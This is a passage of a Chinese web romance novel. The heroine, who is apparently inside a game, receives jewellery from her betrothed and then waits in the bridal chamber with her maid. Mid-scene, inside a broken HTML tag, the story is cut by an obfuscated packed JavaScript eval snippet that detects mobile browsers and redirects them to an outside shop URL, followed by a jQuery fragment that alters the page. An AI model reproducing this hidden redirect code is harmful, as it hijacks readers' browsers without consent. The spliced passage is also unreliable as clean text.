他的动作很轻,轻得仿佛像是惊到她一般。
他的指尖带着一丝微凉的触感,拂过她的发丝,帮她整理了一下几缕滑落的鬓发,姜稚鱼还没来得及感受那温度,他的手已然轻缓放下。
就是这一点触碰,却像是有什么东西在她的心口处挠了一下,痒痒的,说不上来什么滋味。
夏凛汌后退了半步,仔细端详起她,须臾后眉心舒展,连嘴角那抹藏着的笑意也浅浅浮了上来,让他整个人显得格外柔和又温润。
“好看。”他说得郑重其事。
那声音低低的,音量也只有他们两个人能听得到,仿佛是说给她听的,又像是说给他自己听的。
姜稚鱼的心跳有一瞬间乱了一拍。
克制……克制……他温润如玉,应该对谁都挺好的,他这不是对我有意思,他这是中央空调,是暖男。
姜稚鱼微红着耳垂偷偷看了夏凛汌一眼,心中默念:他只是不经意,不能把对方的礼貌当成是在撩我。
她又赶紧闭眼,心中默默做出一个推手婉拒的表情包,姜稚鱼你清醒一点,不能被美色迷惑,现在最重要的就是搞钱。
夏凛汌将她带到铜镜面前,姜稚鱼的目光不由自主地望向铜镜里的自己。
那支玉兰簪斜簪在她的发髻,她今日的搭配也是比较素雅的颜色,配上这支簪,恰好达到了画龙点睛的作用,衬得她整个人又亮了几分。
确实好看,嘿嘿。
姜稚鱼对着铜镜里左照右照,臭美地欣赏起来。
夏凛汌看着她对着铜镜摆弄造型模样,心里像是个被小鹿撞了一下,她很生动,很鲜活,也很独特,好像如小兔撞怀般已经闯进了他心里。
他忽然心里涌起一股不可言说的满足感。
这样的女子,往后就是他的妻了。
他开始好奇,以后和她在一起生活的日子会是什么样的。
她往后,也会用这种亮晶晶的神采飞扬的眼神看着他吗?
或者是,在他们两人发生口角的时候也伶牙俐齿地像一只张牙舞爪的小猫一样和他据理力争吗?
不会的,他才舍不得和她吵架。
姜稚鱼得到了奖励,收拾收拾打算催他离开,天色也不早了,不知道爹娘收铺子了没。
她的右脚还未跨出雅间的门槛,就听见夏凛汌的声音在她身后响起。
“还有这些,”他对着掌柜,声音依然有着淡淡的清冷感,保持着他的仪态:“刚才看过的那些,还有近期新到的首饰,一并打包。”
掌柜的眼睛也仿佛看到了财神爷,忙不迭应声:“好嘞世子,我这就下去安排,择日送货到府。”
姜稚鱼一愣:“……还要买吗?”
夏凛汌眼角挂着笑意,只是从身上取出几张银票放在案上,声音虽然清冷但带着一丝亲近:“嗯,给你留着,等过门之后戴。”
过门之后……
这四个字落在姜稚鱼的耳朵里,又落进了她心里。
她忽然有些不敢看他,无所适从地眼神乱飘,耳根开始烧起来。
天哪,怎么他一个游戏古人这么会撩,一定是游戏设定的问题,姜稚鱼稳了稳心神,总算平复了心里荡起的涟漪。
待夏凛汌付完账,掌柜递上收据后。
系统的电子音在姜稚鱼脑海里响了起来。
【系统消息:用户成功触发财神爷连续多倍奖励模式】
【系统消息:您已获得的奖品如下:春呈镯一对、照月镯一对、双鱼皎白镯一对;抱雪簪一支、落星簪一支、垂燕簪一支;银质丁香耳环一对,琉璃珍珠耳环一对……】
【系统消息:价值难以估计,恭喜用户。】
姜稚鱼差点没绷住,当场就要笑出声来。
她拼命咬着嘴唇,克制着自己嘴角险些溢出来的笑声。
夏凛汌以后给她买东西最好也跟买菜一样,这样她的小金库很快就可以盆满钵满了。
堪堪一分钟,系统才报完清单,但其实姜稚鱼没怎么记得,只看到眼前得到的首饰后面源源不断的“+1”。
以至于到后来,她听系统报幕都有点听困了,掌柜这才恭恭敬敬地说道:“明日就送到夏府,请世子放心。”
然后迷迷糊糊间,她就被夏凛汌揽着离开了玲珑阁。
夜色已经半沉下来,夏凛汌的余光落在姜稚鱼的脸上,发现她还在偷笑,嘴角是怎么压都压不下去。
看着她发髻上的玉兰簪在夜色的光辉里映着淡淡的光泽,随着她轻快的步子变换着角度,夏凛汌的心情也顿时好上加好。
只是一些首饰就能让她这么高兴吗,他注视了一会儿姜稚鱼偷笑的模样,想起方才在雅间,她对着铜镜摆姿势的样子。
她的模样,比什么珠宝首饰都要好看。
自古以来,男子赠送女子发簪,寓意为“结发之妻”,也是定情的意思,但是看条小鱼儿的表情,似乎并不知情。
从他在掌柜介绍之时,他就相中了这只簪子。
但是他没有开口,一是不想给她造成负担二来也想看看她的反应。
没想到的是,她的眼光和他出奇的一致。
那一刻,他心里的喜悦就像是在胸口盛开了一场绚烂夺目的烟花,于是他立刻就让掌柜帮他包了起来。
在屋内看着姜稚鱼的侧脸,他忽然又有一股冲动,忍不住替她簪了这支发簪。
是他亲手为她戴上的。
也是他心中暗自许下对她意义非凡的承诺。
等过了门,成了亲,他想天天这样看着她笑。
离她过门还有十来天。
而这十来天,他忽然觉得,太长了。
-
红烛已经烧了大半夜,烛泪顺着喜烛淌下来,在鎏金烛台上凝聚成一小堆温热的固体,烛芯偶尔噼里啪啦脆响一声,溅起一点细碎的火星子,但是很快又湮灭在这满室的静谧里。
好无聊啊。
姜稚鱼坐在喜床边,屁股都要坐僵掉了。
而且她身上的嫁衣又很是厚重,层层叠叠的霞帔压得她肩膀发酸,头上那顶凤冠更是要命的东西,她从清晨戴到现在,少说也有十几个小时了,她感觉自己的脖子都快要撑不住了。
“哎呀,累死我了,什么时候能换衣服啊。”
姜稚鱼索性一屁股坐在了屋里的圆桌前,自己给自己倒了一杯水,水到嘴边还没喝进去,嘴巴就被身边的丫鬟捂住了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245294|197872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“少夫人,成亲之日可不兴说不吉利的话,被老爷和世子听到是要受罚的。”
那姑娘年纪小小的,说话却是怪老派的,说话间还不忘小心观察窗外是否被人听了去。
【系统消息:用户解锁人物,宝婵,胆小忠心,世子妃的贴身丫鬟。】
原来是我方战友啊。
姜稚鱼松了一口气,连喝了好几杯水。
她一手扶着脖子,一边转动着肩颈,“这破冠子,等会儿我非拆了它不可。”
宝婵微微蹙眉担忧,可怜兮兮地看着她:“少夫人……”
颇有点恨铁不成钢的意思。
“知道了知道了,我不说了。”
外头的喧闹声隐隐约约传了过来,隔了几重院落,成了模模糊糊的背景音,听不真切,只知道热闹得很。
宝婵一边帮姜稚鱼按摩肩颈,一边安慰道:“世子在前厅敬酒,今晚少说也有几十桌达官贵人呢,少夫人你且忍忍,世子很快就回来了。”
她百般无聊地打量起这间新房来。
床帐是大红烫金纹理的,被褥也是全新的,熏的不知名的香味,甜丝丝的,但又带着一丝清雅质感。
不过闻久了,她的鼻子有点发痒。
桌上摆放着精致的糕点还有一壶合卺酒,以及几碟干果,花生莲子桂圆什么的,都是民间要讨个早生贵子的口彩。
她顺手就从那碟果盘里拿了颗桂圆,剥了壳塞进了嘴里,然后又剥了几粒花生。
难为宝婵跟在她屁股后头替她善后。
“少夫人,您快别吃了,要是被人瞧见就不好了。”宝婵心里只能干着急,虽然知道姜稚鱼家世一般,但没想到一点规矩都不守。
“外头什么动静了?怎么还没散?”
她困的不行,直打哈欠,按照平时这个时间点,她早就钻进被窝会周公去了。
她百般无赖地坐在桌前,一手撑着下巴,眼皮快要耷拉下来了,肚子却小声地咕噜噜叫了起来。
这时,也不知道宝婵从哪里弄来了一碟点心,递到姜稚鱼的桌前:“少夫人,您要不先垫垫肚子,我知道挨饿不好受。”
此刻的宝婵在姜稚鱼眼里就是仙女下凡,她看着眼前的糕点两眼放光,一手抓起一个就往嘴里塞:“真是我的好宝婵。”
被姜稚鱼夸奖的宝婵,稚嫩的脸上浮起一朵红晕,虽然府中的人待她都很不错,但这么被主子夸赞还是头一回。
“您慢点吃,别噎着了。”
宝婵机灵地给她倒了一杯茶水,怕她掖着还顺带帮她顺气儿。
其实市井出身的主子也挺好的,起码没架子。
“少夫人,您紧张不紧张啊?”
姜稚鱼嚼着桂花糕,含糊不清地回道:“紧张什么?”
“就是……那个……”宝婵顿时红了脸,“今晚……”
姜稚鱼差点被噎到,猛咳了几声。
她端起茶杯灌了一大口,才把那口气顺下去,然后瞥了宝婵一眼,似笑非笑地瞧着她:“你个小丫头片子,脑袋里想什么呢?”
宝婵的脸更红了,可怜兮兮地跺了跺脚:“少夫人,宝婵只是担心您。”
“担心我?”